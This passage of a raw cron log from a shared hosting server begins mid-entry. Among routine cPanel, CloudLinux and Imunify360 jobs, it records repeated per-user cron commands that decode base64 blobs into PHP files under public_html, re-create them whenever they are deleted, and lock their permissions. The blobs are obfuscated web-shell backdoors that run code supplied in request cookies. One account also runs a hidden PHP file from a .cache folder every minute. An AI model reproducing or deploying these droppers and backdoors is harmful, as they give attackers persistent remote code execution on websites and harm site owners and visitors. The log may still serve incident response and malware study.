ygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:07:02 medusa CROND[7283]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:08:02 medusa CROND[32089]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:08:02 medusa CROND[32090]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:08:02 medusa CROND[32091]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 15:08:02 medusa CROND[32092]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:08:02 medusa CROND[32093]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 15:08:02 medusa CROND[32094]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:08:02 medusa CROND[32095]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:08:02 medusa CROND[32098]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:08:02 medusa CROND[32097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:08:02 medusa CROND[32103]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:08:02 medusa CROND[32106]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:08:02 medusa CROND[32112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:08:02 medusa CROND[32111]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:08:02 medusa CROND[32113]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:09:01 medusa CROND[24067]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:09:01 medusa CROND[24163]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:09:01 medusa CROND[24164]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 15:09:01 medusa CROND[24166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:09:01 medusa CROND[24169]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:09:01 medusa CROND[24165]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:09:01 medusa CROND[24170]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:09:01 medusa CROND[24171]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:09:01 medusa CROND[24172]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:09:01 medusa CROND[24173]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:09:01 medusa CROND[24201]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:09:01 medusa CROND[24202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:09:01 medusa CROND[24204]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:10:02 medusa CROND[16783]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 15:10:02 medusa CROND[16924]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 15:10:02 medusa CROND[16926]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 15:10:02 medusa CROND[16927]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 15:10:02 medusa CROND[16930]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 15:10:02 medusa CROND[16931]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:10:02 medusa CROND[16928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:10:02 medusa CROND[16932]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 15:10:02 medusa CROND[16933]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:10:02 medusa CROND[16925]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 15:10:02 medusa CROND[16935]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:10:02 medusa CROND[16939]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
